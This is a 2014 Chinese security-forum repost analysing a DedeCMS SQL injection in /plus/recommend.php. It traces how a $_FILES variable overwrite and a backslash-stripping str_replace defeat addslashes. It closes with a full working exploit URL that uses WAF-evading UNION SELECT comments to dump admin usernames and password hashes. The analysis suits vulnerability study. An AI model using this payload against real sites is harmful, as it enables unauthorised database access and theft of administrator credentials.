首页
社区
课程
招聘
DedeCms 最新注入漏洞详细分析
发表于: 2014-5-12 11:55 2331

DedeCms 最新注入漏洞详细分析

2014-5-12 11:55
2331
新闻链接:http://www.8090sec.com/zuixinloudong/111625.html
新闻时间:2014-03-27
新闻正文
前几天dede的补丁出来以后我分析的文章,既然现在利用工具也已经公开了,也没什么不分享的道理
  乌云上kobin97爆出了一个织梦cms的注入0day,无奈我不是核心白帽子看不了。土司上有同学发表的分析文章,无奈我没有阅读权限100看不了。于是我只能在蛛丝马迹中寻找一些信息,自己分析一下关于这个0day。
  以前完全没有看过dede的源码,所以我先拿出以前下的一个不知什么时候更新的dede5.7,然后去乌云寻找一些蛛丝马迹。在这里我找到了这么一个回复:

 
从这里我大概知道,如何绕过单引号了。然后昨天从基友那得来,漏洞出现的位置:/plus/recommend.php。
来到这个文件,其中找到一个sql语句:
 
$arcRow=$dsql->GetOne("SELECT s.*,t.* FROM `dede_member_stow` AS s LEFT JOIN `dede_member_stowtype` AS t ON s.type=t.stowname WHERE s.aid='$aid' AND s.type='$type'");   
 
if(!is_array($arcRow)){   
    ShowMsg("无法把未知文档推荐给好友!","-1");   
    exit();   
}   
$arcRow['arcurl']=$arcRow['indexurl']."=".$arcRow['aid'];   
extract($arcRow, EXTR_SKIP); 
 
可控变量有$aid和$type。可惜前面aid经过了is_numeric函数的过滤,就剩type了。
但在这里试着输出一下,可以明显的看到,$type变量是使用了addslashes转义了的。那么如何绕过?
因为之前乌云上的那个回复,我大概知道如何绕过addslashes。先来看到/include/common.inc.php,这个文件是包含在目标文件最上面的,也是全局的一个文件。
112行:
//转换上传的文件相关的变量及安全处理、并引用前台通用的上传函数   
  if($_FILES)   
  {   
      require_once(DEDEINC.'/uploadsafe.inc.php');   
  } 
包含了一个uploadsafe.inc.php文件,我们进去看看:
  <?php   
  if(!defined('DEDEINC')) exit('Request Error!');   
     
  if(isset($_FILES['GLOBALS'])) exit('Request not allow!');   
     
  //为了防止用户通过注入的可能性改动了数据库   
  //这里强制限定的某些文件类型禁止上传   
  $cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";   
  $keyarr = array('name', 'type', 'tmp_name', 'size');   
  if ($GLOBALS['cfg_html_editor']=='ckeditor' && isset($_FILES['upload']))   
  {   
      $_FILES['imgfile'] = $_FILES['upload'];   
      $CKUpload = TRUE;   
      unset($_FILES['upload']);   
  }   
  foreach($_FILES as $_key=>$_value)   
  {   
      foreach($keyarr as $k)   
      {   
          if(!isset($_FILES[$_key][$k]))   
          {   
              exit('Request Error!');   
          }   
      }   
      if( preg_match('#^(cfg_|GLOBALS)#', $_key) )   
      {   
          exit('Request var not allow for uploadsafe!');   
      }   
      $$_key = $_FILES[$_key]['tmp_name'] = str_replace("\\\\", "\\", $_FILES[$_key]['tmp_name']); 
看到这里我就懂了,一个变量覆盖,并且使用str_replace将\\替换成了\(因为在双引号里面,所以本身包含一个转义,看起来是4个\换成2个\)。
\\换成了\,代表什么意义?之前我们的addslashes函数将\’转义成了\\\’,然后我们把\\换成\,你看到了什么,\\\’变成了\\’,反斜杠被转义了,双引号逃出来了。
然后因为有一个$$key覆盖变量,所以我们就可以把后面的$type在这里覆盖掉。
不过前面还有一个小判断:
  foreach($keyarr as $k)   
      {   
          if(!isset($_FILES[$_key][$k]))   
          {   
              exit('Request Error!');   
          }   
      } 
$_FILE[$_key][$k]必须在$keyarr数组中,这个数组是array('name', 'type', 'tmp_name', 'size'),所以我们还需要传递这些变量。
http://localhost/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=注入点
有了注入点,后面就简单了。绕过80sec防注入,网上的文章很多,我就不再赘述。
直接给出exp:
http://www.8090sec.com/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa\'and+char(@`'`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,group_concat(userid,0x23,pwd),5,6,7,8,9 from `%23@__admin`%23

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//